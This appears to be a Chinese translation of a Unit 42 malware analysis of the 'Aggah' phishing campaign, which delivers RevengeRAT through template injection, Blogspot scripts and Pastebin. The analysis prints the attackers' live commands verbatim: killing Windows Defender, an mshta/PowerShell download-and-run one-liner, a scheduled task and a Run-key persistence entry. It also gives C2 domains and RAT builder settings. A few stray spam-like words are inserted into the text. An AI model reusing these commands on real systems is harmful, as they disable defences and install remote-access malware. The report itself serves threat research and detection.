摘要
2019年3月,Unit 42开始着手研究一起主要针对中东国家的攻击行动。研究分析表明,此项行动可能只是一起更大规模攻击行动的前奏,其目标涉及美欧亚三大洲。
此次攻击行动主要通过鱼叉式网络钓鱼邮件进行传播的,邮件携带了一个附件,在用户打开后,附件会通过模板注入从远程服务器加载一个启用了宏的恶意文件,而此文件又会指向BlogSpot来获取恶意脚本,并通过该脚本从Pastebin上下载最终有效负载——RevengeRAT恶意软件。在研究过程中,我们发现了有好几类传播的文档,虽然内容可能有所出入,但都遵循相同的流程,最后都是在用户机器上安装了在Pastebin上托管的RevengeRAT,这表明威胁行为者在整个攻击活动中的TTP(战术、技术和过程)是不变的。
最初,我们推测此项行动可能与Gorgon组织有关,理由有两个:一个是高水平的TTP,二是对RevengeRAT恶意软件的使用。但我们当前还无法获得一些更确定性的指标与Gorgon组织相匹配,尚且无法将其归因于Gorgon组织。
于是我们决定将此项行动称为Aggah行动,“Aggah”这个名称来源于Pastebin上一个托管RevengeRAT payload的账户名,也是用于分割发送到RevengeRAT C2服务器的数据的分隔符。
传播过程
我们对Aggah行动的研究始于2019年3月27日获取的一封文件,此文件通过电邮的方式发送到了某个中东国家的组织机构手里。这封邮件冒充本国一家大型金融机构的身份,告知用户的“账户被锁定了”。最初,这封文件只出现在了一个国家,在教育、媒体/营销和政府垂直部门的机构中出现比率最高,而在四天后的3月31日,我们看到同样的邮件被发送到了第二个中东国家的某家金融机构。后来随着时间的推移,更多踪迹逐渐浮出水面,此次行动不仅仅针对中东地区,美国、欧洲和亚洲的多个组织机构也同样出现了这份文件的身影,且攻击者针对的目标是教育、媒体、技术、零售、制造、州/地方政府、酒店、医疗等行业。由于文件在功能上是相似的,所以我们将描述之前分析的原始样本。
3月27日发送的电子邮件中附带一个Word文档,文件名为“Activity.doc”(SHA256:d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946),打开后会试图通过模板注入加载远程OLE文档,具体过程如下:当打开“Activity.doc”时,会显示图1,诱导用户启用宏,启动条件必须是桌面版本的Microsoft Word,因为宏在Office 365的Word的联机版本中不起作用。“Activity.doc”文件本身不包含宏,但从远程服务器加载的OLE文包含了一个宏。
图1. Activity.doc中用于诱导用户启用宏的截图
Activity.doc分析
此文档使用模板注入来加载托管在远程服务器上的文件。图2显示了文档页脚的内容,它会从hxxps://static.wixstatic [.] com / ugd / 05e470_b104c366c1f7423293887062c7354db2.doc处加载远程OLE文档:
图2.Activity.doc文档页脚,显示了远程OLE文件所在地
加载的OLE文件实际上是一个RTF文件(SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f),它使用一个经过混淆的宏加载嵌入的Excel文档,宏里包含了大量“垃圾”代码。这个宏的目的是通过“Shell”命令解码并执行下列URL内容:
mshta hxxp://www.bitly[.]com/SmexEaldos3
上面的命令使用了内置的“mshta”应用程序来下载URL所提供的内容,URL是用Bit.ly生成的短链接。由WildFire解析后,短链接会重定向到hxxps://bjm9.blogspot [.] com / p / si.html,如图3中HTTP响应的“Location”字段所示。
图3.短链接,指向Blogspot
图4展示了链接指向的内容,一篇看起来有点奇怪的BlogSpot文章。天空彩
图4.bjm9.blogspot (.]com屏幕截图
通过分析博客上的代码,我们发现它实际上包含了一个JavaScript脚本,如图5所示。
图5.嵌入的JavaScript脚本
恶意脚本在植入系统后可执行多个活动。首先,它会试图通过删除签名集来阻止Microsoft Defender。该脚本还能杀死Defender进程以及一些Office应用程序的进程。所有这些都是使用以下命令行执行的:
cmd.exe /c cd “”%ProgramFiles%\Windows Defender”” & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & forfiles /c “”taskkill /f /im MSASCuiL.exe”” & forfiles /c “”taskkill /f /im MpCmdRun.exe”” & exit
接着该脚本会试图禁用Office产品中的安全机制,尤其是通过设置注册表项值来启用宏和禁用ProtectedView。启用Word、PowerPoint和Excel中的宏的操作是通过将某些注册表项(见附录)设置为值“1”来完成的。
禁用Word、PowerPoint和Excel中的ProtectedView安全机制则是将另一些注册表项(见附录)设置为“1”。
我们之前的博文中曾讲过Gorgon组织在Office中启用宏和禁用ProtectedView的技术,以及对注册表项顺序的修改。此外,此次行动中中止Windows Defender和Microsoft Office应用程序进程的策略也与Gorgon组织如出一辙,并且Gorgon在之前的攻击行动中也曾用bit.ly缩写URL的行为,虽然存在明显的技术重叠,但仍然缺乏具体的证据表明这次攻击活动与Gorgon有关。托管在Blogspot上的脚本主要执行三个活动,包括:中国菜刀
1、从Pastebin 处下载payload
2、创建调度任务,以便定期从Pastebin URL获取和运行脚本
3、创建一个自动注册表项,以从Pastebin URL获取和运行脚本
从Pastebin上获得payload
此恶意脚本首先从Pastebin URL处获得一个可移植的可执行payload并将其执行,获取payload命令如下,执行过程则是通过调用WScript.Shell来运行。
mshta.exe vbscript:CreateObject(“”Wscript.Shell””).Run(“”powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\’h\’+\’t\’+\’t\’+\’p\’+\’s:\’+\’//p\’+\’a\’+\’s\’+\’t\’+\’e\’+\’b\’+\’i\’+\’n\’+\’.\’+\’c\’+\’o\’+\’m\’+\’/\’+\’r\’+\’a\’+\’w\’+\’/\’+\’2LDaeHE1\’))).EntryPoint.Invoke($N,$N)””,0,true)(window.close)
上面的命令用于下载一个可移植的可执行文件,该文件托管在Pastebin上,网址为https://pastebin[.]com/raw/2LDaeHE1,对其base64解密后执行。图6显示了payload所在的Pastebin页面。
图6.2 ldaehe1 Pastebin页面
解码后的payload具有以下属性:
表1.解码后的payload
这个payload是用VB.NET编写的,名为“Nuclear Explosion”,它是RevengeRAT的变种,C2的域为“lulla.duckdns [.] org”,如图7所示。
图7.RevengeRAT配置
根据图8所示的配置,当向C2服务器发送数据时,将使用分隔符“hagga”拆分信息,该字符串与托管payload的PasteBin帐户的名称相同(如图6所示)。
图8.用于分割发送到C2服务器信息的字符串“hagga”的配置
创建计划任务
托管在Blogspot的脚本还包含另一个命令,用于创建一个名为“eScan Backup”的计划任务,每100分钟运行一次。用于创建此计划任务的脚本生成的命令字符串为:
schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr “”mshta vbscript:CreateObject(“”Wscript.Shell””).Run(“”mshta.exe https://pastebin[.]com/raw/tb5gHu2G””,0,true)(window.close)”” /F ‘
“eScan Backup”任务将使用内置的mshta应用程序从Pastebin URL:hxxps://pastebin[.]com/raw/tb5gHu2G处下载脚本,我们将其称为tb5gHu2G脚本。 我们认为,威胁行为者之所以选择“eScan Backup”这个名称,与eScan防病毒产品相关。图9显示了Windows的Task Scheduler程序中的计划任务。
图9.每100分钟创建一个调度任务,来访问Pastebin URL并运行托管脚本
计划任务将下载并运行tb5gHu2G脚本,这么做的目的是为了维持持久性,它会运行相同的命令来阻碍Windows Defender并终止Office应用程序。tb5gHu2G脚本还会尝试运行与Blogspot上托管脚本相同的VBScript,VBScript下载并执行图6中所示的“2LDaeHE1”Pastebin页面的payload。图10显示托管tb5gHu2G脚本的Pastebin页面。
图10. tb5gHu2G Pastebin页面
创建自动运行注册表项
托管在Blogspot上的脚本会创建了一个自动运行的注册表项,它似乎是第二个持久性机制,用于补充上述的计划任务。要创建自动运行项,脚本将生成以下命令并运行:
CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate”, “C:\Windows\System32\mshta.exe vbscript:CreateObject(“”Wscript.Shell””).Run(“”mshta.exe%20http://pastebin[.]com/raw/YYZq1XR0″”,0,true)(window.close)” , “REG_EXPAND_SZ”
此运行项将下载另一个托管在Pastebin上的内容,地址是http:// pastebin [.] com / raw / YYZq1XR0。
并将下载的内容作为脚本由Wscript.Shel运行。 图11是Pastebin页面的相应内容。
图11. YYZq1XR0 Pastebin页面
YYZq1XR0包含以下脚本,它的作用相对较少:
<script language=”VBScript”> self.close </script>
上述脚本的功能很少,这表明威胁行为者在需要时可以用其他功能的新脚本进行替换。这些内容都是由名为HAGGA的帐户创建的,如下图12所示,包含了用于创建最终payload的其他脚本。
图12. Hagga的Pastebin页面
行动网
在调查此项行动时,我们检查了Bit.ly上提供的点击次数。截至2019年4月11日,引用的Bit.ly SmexEaldos3链接在北美、欧洲、亚洲和中东的约20个国家/地区共计超过1,900次点击。如此高的点击量向我们表明,我们可能只看到了实际行动中极小的一部分。这些点击很可能还包括在调查和研究工作期间访问的个人,因此,这个数字并不能准确表示被感染机器的数量。
图13.点击情况示意
接着我们查看了文档属性,以了解可以利用哪些附加的信息来帮助活动识别。文档属性表明,其背后的操作人员使用的是盗版的Microsoft Word,文档署名为“Lulli moti myri”,通过该名字我们在存储库中搜索并标识了十多个Microsoft Office文档——其中一半是DOCX,另一半是XLS。
所有文档在2019年1月到4月之间都有一个时间戳,每个文档都包含一个重定向到Blogspot页面的Bit.ly链接。在分析过程中,我们确定了几个最终指向RevengeRAT的下载链接。其中一个样本的C2域为kronozzz2.duckdns[.]org。这个样本的域名让我们联想到HAGGA中有一个标题为'kronoz2 back2new’的文件,两者可能有联系。最后我们发现与RevengeRAT样本相关联的域名都是类似kronoz.duckdns [.] org的结构。
在检查了所有的文档和RevengeRAT payload之后,我们发现除了其中一个payload之外,其余所有都包含互斥锁RV_MUTEX-WindowsUpdateSysten32(注意攻击者将“System32”错误地拼写为“Systen32”)和一个base64编码的标识符SE9URUlTIE5PVk9T,该标识符解码为HOTEIS NOVOS(葡萄牙语中的“NEW HOTELS”)。我们搜索了可用的存储库,查看有多少样本包含这些字符串,早在2018年9月就有50多个文件,而且很多样本都包含相同的“hagga”字符串,同时我们还注意到了另外三项:“oldman”、“steve”和“roma225”。在2018年12月,Yoroi就曾发表了一篇名为《神秘的roma225》的文章探讨这个“roma225”的标识。
关联RevengeRAT的样本
RevengeRAT是一种商品木马,它有许多外泄的构建器,开源免费提供,该工具使用的普及使得我们很难将其归因于特定群体。因此,我们想确定在Aggah相关样本中看到的互斥锁、标识符和项是否不是RevengeRAT的标准默认值,以及能否在逻辑上成立强烈的关联性。为了衡量两个不相关的威胁行为者在配置中使用相同值的可能性,我们使用了RevengeRAT构建器(v0.3)来可视化威胁行为者的构建过程。
我们发现,两个不相关的个体使用相同互斥锁、标识符和项的可能性很小,因为RevengeRAT构建器中的有些特定字段必须手动输入,包括互斥锁、标识符和项。在下面解释构建木马所需的步骤时我们会重点介绍这些字段。
要创建RevengeRAT payload,攻击者需要使用RevengeRAT服务器编译配置了适当字段的可执行文件。首先就需要将“Socket Key”字段设置为“hagga”并点击“Start Listening”,如图14所示。
图14. RevengeRAT构建器Socket Key的设置
配置好服务器并设置侦听之后,单击“Client Builder”来创建RevengeRAT客户端,如图15所示。
图15. RevengeRAT Client Builder
在Client Builder中,单击“Network Settings”下拉框并输入域名“lulla.duckdns[.]org” ,在按下add之前,TCP端口为2336,如图16所示。
图16. RevengeRAT Network Settings设置
之后单击“Basic Settings”下拉列表并在“Client Identifier”字段中输入所选标识符“HOTEIS NOVOS”,并在“Client Mutex”字段中添加“-WindowsUpdateSysten32”(Client Mutex已默认包含“RV_MUTEX”字符串),如图17所示。这里需要注意的是,“-WindowsUpdateSysten32”需要手动添加,而不是点旁边的加号(“+”)按钮,不然会连接一个连字符和一个随机字符串。
图17. RevengeRAT Basic Settings设置
最后编译payload之前,需要同意服务条款并单击“compile”,如图18所示。
图18. RevengeRAT编译前
按下compile后,RevengeRAT服务器将创建一个默认名称为“Client.exe”的客户端可执行文件,可在攻击前保存到系统中。图19显示了桌面上的RevengeRAT客户端图标。
图19. RevengeRAT客户端图标
经过上述步骤编译的“Client.exe”配置看上去和Aggah行动中的RevengeRAT的配置一样(如图7和图8)。这表明攻击者也是遵循类似的步骤来创建的,说明攻击者可有可能是同一人。
结论
根据我们最初的遥测数据,Aggah行动似乎只是针对中东某一国家展开的,然而随着调查的深入,逐渐在美国,欧洲和亚洲也看到Aggah行动出现的踪迹,但以目前的数据集我们还无法深入了解攻击者的动机。
RevengeRAT是一种公开可用的RAT木马,常常能在攻击行动中看到。从近期的案例来看,一些使用者似乎开始使用多层机制使之变得更复杂。对这些技术的运用可能会帮助攻击者隐藏在合法的服务而中不会被安全设备屏蔽。
附录
恶意脚本启用Word、PowerPoint和Excel中的宏时设置为“1”的注册表项、以及禁用Word、PowerPoint和Excel中的ProtectedView安全机制时设置为“1”的注册表项、IoC、恶意脚本的下载链接、C2地址请点击此处。